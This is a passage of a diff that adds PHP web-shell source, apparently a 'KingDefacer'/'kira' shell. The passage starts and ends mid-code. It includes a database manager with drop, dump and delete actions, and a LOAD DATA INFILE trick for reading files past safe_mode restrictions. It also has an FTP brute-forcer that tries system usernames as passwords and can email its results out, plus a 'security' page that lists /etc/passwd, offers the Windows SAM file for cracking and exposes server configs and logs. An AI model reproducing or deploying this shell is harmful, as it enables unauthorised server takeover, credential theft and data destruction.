$row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#000000 borderColorLight=#000000 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#000000 borderColorLight=#000000 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function KingDefacerftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called kira v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (KingDefacerftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"kira v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."KingDefacer_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); KingDefacerexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ �.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly> + <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly> + <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>"; + echo "<center>base64_decode - "; + if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";} + else + { + $debase64 = base64_decode($encoder_input); + $debase64 = str_replace("\0","[0]",$debase64); + $a = explode("\r\n",$debase64); + $rows = count($a); + $debase64 = htmlspecialchars($debase64); + if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";} + else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>"; + } + echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = 